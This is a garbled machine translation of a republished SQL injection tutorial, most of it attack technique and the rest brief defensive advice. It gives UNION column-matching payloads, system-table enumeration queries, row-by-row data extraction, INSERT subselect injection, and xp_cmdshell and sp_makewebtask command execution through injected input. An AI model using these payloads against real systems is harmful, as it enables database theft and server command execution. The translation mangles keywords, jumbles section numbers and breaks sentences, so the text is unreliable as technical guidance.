SQL Overview and its application in network security

Source: Internet
Author: User
Keywords Network security
1. Network applications and SQL Injection 1.1 overview Some network databases do not filter potentially harmful characters from customer-supplied data, and SQL injections are techniques that exploit harmful characters to attack. Although very easy to guard against, there are still an alarming number of storage systems on the Internet that are vulnerable to this attack. The purpose of this article is to instruct professional security organizations to understand this technology and to tell them the correct way to prevent SQL injection and to deal with various common problems caused by illegal input. 1.2 Background Before reading this article, you should have some basic understanding of how the database works and how SQL is used to access the database. I recommend that you read Extropia.com's article "Introduction to Databases for Webdevelopers". (URL: http://www.extropia.com/tutorials/sql/toc.html) 1.3 character encoding in most web browsers, punctuation and many other symbols need to encode URLs before they are used for a network request, To be properly compiled (interpret). In the examples and screenshots in this article I used fixed ASCII characters to ensure maximum readability. However, in practical applications, you need to use% 25来 in HTTP requests instead of the percent sign (%), using%2b instead of the plus (+), and so on. 3.2.5 like statement query another big catastrophe is the trap of getting caught in a as clause. (Seeing the "like keyword" or percent signs cited in a error message are indications of this situation.) Most web search programs use the LIKE clause to query the database, such as the following: SqlString = "Select FirstName, LastName, Title from Employees WHERE LastName as '%" &A mp; Strlastnamesearch & "%" is a wildcard in this case where the WHERE clause returns true as long as there is a string containing strlastnamesearch in the LastName. To block SQL The server returns the expected record, and the SQL statement you construct must contain a string that is not in the LastName. The Web search program searches for a string from the user's input. There is usually a ' and a% ' before the input string, so we construct the string, You need to match them in the WHERE clause. If you submit null as a search string,Then the like parameter becomes "percent%", which is a full match that returns all the records. 3.2.6 "Dead End" most of the time the SQL injection are accompanied by a lot of failure of practice, if you find that you can not insert the relevant statements, and no matter what you do is wrong, this time you have to judge whether you fell into a dead end, Most of the time you're probably in a multiple nested where and select clause, or some more complex multiple nesting, even using ";-" is useless, so be careful and avoid staying in this place. Number mismatch of 3.2.7 columns we can get a lot of useful information from several mistakes and adjust our request statements, which means we are not far from success. When guessing the name of a column, as the figure shows, we submit the statement with the following error "All queries in the Union statement must have the same number of expressions in the target list", which means you need to find out or detect how many columns are in a legitimate request. Here, let me explain. The Union statement is used to add two different query result sets to a result set, the only requirement for union is two query information (your query statement) must have the same number of columns and the same data type. For example, the Web program has the following statement: SqlString = "Select Firstname,lastname,employeeid from Employees WHERE city = '" &strcity "" "legitimate SELECT statement and the Union we injected The SELECT statement must have the same column in the WHERE clause. For the above statement, if I were to add a union statement, I would have 3 columns both before and after. And the data types of their columns must be matched to each other. If FirstName This value is a string type, the corresponding value in the statement you injected should also be of type string. Some databases, such as Oracle, are very strict about type checking. Other databases are relatively good, allowing you to enter any data type and it automatically converts the data type you typed into the correct one. For example, in a SQL database, you can enter a numeric type of data (such as int) in a varchar type where the numeric type is automatically converted to a string type. However, it is considered illegal to enter the text type at the smallint column because the text type cannot be converted to an int type.   It is permissible to convert data of numeric type to string type, and vice versa, so the data of numeric type is used by default. To know how many columns are in the target statement that we are injecting, you need toTentatively add the corresponding value to the Union SELECT clause until it does not report that "all queries in the Union statement must have the same number of expressions in the target list". As shown in the picture, if you are encountering a data type mismatch error, then you have to change the column data type. If the return message is just a failure of a converted data type, it means you have guessed the number of columns, except that the data type of the individual columns is incorrect. So the next thing to do is to determine which column's data type is incorrectly causing the error. Then you can change him. If all goes well, congratulations, you will get a page that is similar to the one in the above format and is valid, regardless of where the dynamic page appears, you can construct your own statement to handle it freely. The 3.2.8.WHERE keyword error is "invalid column name ' EmployeeID '", which may be caused by the WHERE keyword at the end of the statement we injected, for example: sqlstring= "select Firstname,lastname," Title from Employees where city= ' "&strcity&" and Country = ' USA ' If the statement we inject is the union all SELECT Otherfield from Othert Inc. WHERE 1=1 will then get the following submission statement: SELECT FirstName, LastName, Title from Employees WHERE city = ' nosuchcity ' UNION all SELECT O Therfield from Othertable WHERE 1=1 and Country = ' USA ' will cause an error: [MICROSOFT][ODBC SQL Server DRIVER][SQL server] Invalid column name ' Count Ry '. Actually, the problem is that after you injected the statement, the system did not find a column name named ' Country ' in the table from the database. We can simply comment it out (if we are SQL Server) using the ";--" annotation symbol. Or just keep guessing the other column names and then construct a legitimate request as we mentioned in the previous section. Enumeration of table names we have started to learn how to use injection to attack, but we also have to decide which table to get the information from, in other words, the key table name we want to get the useful information we want. How do I get the table name? In SQL Server, you can easily get all the table and column names from the database. But inIn Oracle and access, you're not necessarily getting it so easily, it depends on the Web program's access to the database. The key is whether you can get table names and column names that are included in the tables that are automatically generated when the system is built. As in SQL Server, they are ' sysobjects ' and ' syscolumns ' respectively, (at the end of this article we will give the other database system from the table and the corresponding column name) we use the following sentences to list all the column and table names of the database in these tables, (modified as appropriate): SELECT name from sysobjects WHERE xtype = ' U ' Returns all the user-defined tables in the database, and if we see the table we're interested in or want to see, we'll open it. Here take Orders as an example constructs the statement: select name from syscolumns where id = (SELECT ID from sysobjects where name = ' Orders ') to get the result as shown. 3.2.10. Single record the statement we constructed above returns a great deal of information, if you only want to display a data record. You can completely construct your injection statements to get the only information you want. All we have to do is add keywords to the WHERE clause to avoid the keyword being selected for some rows. Let me give you an example: ' UNION all SELECT name, Fieldtwo, fieldthree from tableone WHERE ' = ' We can get the first value of Fieldone,fieldtwo and Fieldthree, Let's say we're in "Alpha", "Beta" and "Delta" respectively. Notice, more interestingly, we're going to get the value of line 2nd, how do we construct the following statement? In this way: ' UNION all SELECT fieldone, Fieldtwo, fieldthree from Tableone WHERE fieldone not in (' Alpha ') and Fieldtwo not in (' Beta ') and Fieldthree not in (' Delta ') and ' = ' there is a clause "not in VALUES" that does not return the information we have obtained, that is, not alpha, not beta, Not the delta. Since none, the database will be silly to tell us the value of the second row. Let's assume we get the second row with the value "Alphaalpha", "Betabeta"and "Deltadelta". We're going to get the value of the third row, and the construction statement is as follows: ' UNION all SELECT fieldone, Fieldtwo, fieldthree from Tableone WHERE fieldone not in (' Alpha ', ' Alphaal Pha ') and Fieldtwo not in (' Beta ', ' Betabeta ') and Fieldthree not in (' Delta ', ' Deltadelta ') and ' = ' This avoids getting the first and the second time we've got To the value, we'll try to get all the values in the database.   This may seem like a real hassle, but it's the most effective here, isn't it? 3.3 Insert 3.3.1 Insert the underlying keyword inserts are used to add information to the database, typically using inserts including user registration, forums, adding merchandise to the cart, and so on. Check the vulnerability of INSERT use and check where. You may not want to use inserts, and how to avoid being exploited is an important consideration. Insert injection attempts often cause the database to return results in rows that result in the overflow of separate references and the meaning of the SQL key may change. Depending on the administrator's attention and information on the operation of the database, this is to draw attention to the differences that have just been mentioned, insert injection and select injection. We do a variety of registration in a user, which provides a form for you to enter your name, address, phone, etc. After you submit this form, you must be able to see the information you submitted in order to get further insert weakness. It doesn't matter where it is. You may be sending your spam mail when you log in to give you the right to the name stored in the database. , who knows, looking for a way to at least see the information you enter. 3.3.21 inserted requests look like this: INSERT INTO tablename values (' Vaule one ', ' Value nonblank ', ' Value Three ') you want to be able to use a clause in parameter VALUES to see other data. We can use this approach, SQL code like this: SqlString = "INSERT into tablename VALUES ('" & Strvalueone & ", '" & Strvaluetwo & " ', ' & Strvaluethree & '] "We're like thisSample Filling form: Name: ' + (SELECT top 1 FieldName from tablename) + ' email:blah@blah.com phone:333-333-3333 make SQL statements like this: INSERT I NTO tablename VALUES (' + (SELECT top 1 FieldName from TableName) + ', ' blah@blah.com ', ' 333-333-3333 ') when you go to the Personal Settings page to view your usage letter And you'll see the first field this is usually the username R if you don't use top 1 on your subselect, you'll get an error message saying that your subselect returned too many records, you can view all the rows in the table, use not in () The same way you can get a separate record. 3.4. SQL Server stored procedures utilize 3.4.1 Stored Procedure Basics 4. A fully installed MSSQL server has thousands of stored procedures. If you can get SQL injection in a Web application that uses MSSQL in the background, you can use these stored procedures to accomplish some extraordinary results. I will discuss very few special processes. Depending on the Web page program users who use the database, only a few can work, not all users can take advantage of it. First thing you should know. Stored procedure injection cannot determine whether your injection succeeded through the return value of the stored procedure. Depending on what you want to accomplish, you may not need to get the data. You can find other meanings of the data returned to you. Stored procedure injection is easier than normal query injection, and the vulnerability of stored procedure injection looks like this. Simplequoted.asp?city=seattle '; EXEC Master.dbo.xp_cmdshell ' cmd.exe dir c: ' Note, Notice how a valid argument are supplied at the beginning and followed by A quote and the final argument to the stored procedure super-delegates no closing quote. This would satisfy the syntax requirements inherent in most quoted vulnerabilities. You may also have to deal with parentheses, AdditiOnal where statements, etc. But there will be no need to worry about matching the types of columns and data. The output of this potential weakness is the same as the program cannot return an error message. I like stored procedures best. 5.3.4.2. xp_cmdshell xp_cmdshell {' command_string '} [, No_output] Master.dbo.xp_cmdshell is the holy grail of stored procedures, and it poses a problem Be able to invoke the command line of the database user and his run permissions, this is not available unless the Web program uses the database user is SA. Run Level 6 sp_makewebtask [@outputfile =] ' outputfile ', [@query =] ' query ' 6. Another good call object is Master.dbo.sp_makewebtask, as you can see, it is a local output file and a SQL statement. Sp_makewebtask can query and build a Web page that contains output. Note that you can use a local output as you would with a UNC path name. This means that the output file can be placed on any one connected to the Internet and has a writable SMB share (SMB requests do not require any authentication). If you have a firewall that restricts the server to the Internet, try putting the output file in the directory of the Web page (you know or guess the directory of the page). It is also noteworthy that reference queries may include the execution of other stored procedures. Making "EXEC xp_cmdshell ' dir c: '" This query will give the output of "Dir C:" In the Web page. When you make nested references, remember the individual references and double quotes. 4.1 Data processing All client data can be purged by maliciously committed characters or strings. These may be done in all applications, not just using SQL queries. Stripping quotes or putting backslashes in front the them is nowhere near. The best way to filter your data is to not use the regular expression so that it only includes the type of character you want. For example, the REGXP below will only return letters and numbers, filtering as much as possible of special characters such as s/[^0-9a-za-z]//g. Use numbers when possible, and only use numbers and letters later. If you need to include a variety of logos or punctuation. Be sure to completely convert them to HTML tags, like "e;" or ">". For example, a user submits an email address onlyAllows you to use numbers and letters as well as "@", "_", "." and "-". Only these characters can be converted to HTML tags. 4.2. Writing secure Web Applications There are also very few special SQL injection rules. Prepend and append a quote to all user input. Although the data makes the numbers. Second, limit the user's access to the database in the Web page application. Do not give this user access to all the stored procedure rights if this user only needs to access some of the predefined. This section includes all of the system tables that are useful in SQL injection, and you can search on Google to define 5.1 for each table's columns. MS SQL Server sysobjects syscolumns 5.2. MS Access Server msysaces msysobjects msysqueries msysrelationships 5.3. Oracle SYS. User_objects SYS. TAB SYS. User_tables SYS. User_views SYS. All_table S SYS. User_tab_columns SYS. User_constraints SYS. User_triggers SYS. User_catalog Responsible Editor Zhao Zhaoyi#51cto.com TEL: (010) 68476636-8001 to force (0 votes) is tempted (0 Votes) nonsense (0 Votes) Professional (0 Votes) The title party (0 Votes) passing (0 votes) Original: SQL overview and application in network security return to network security home
Related Article

Beyond APAC's No.1 Cloud

19.6% IaaS Market Share in Asia Pacific - Gartner IT Service report, 2018

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.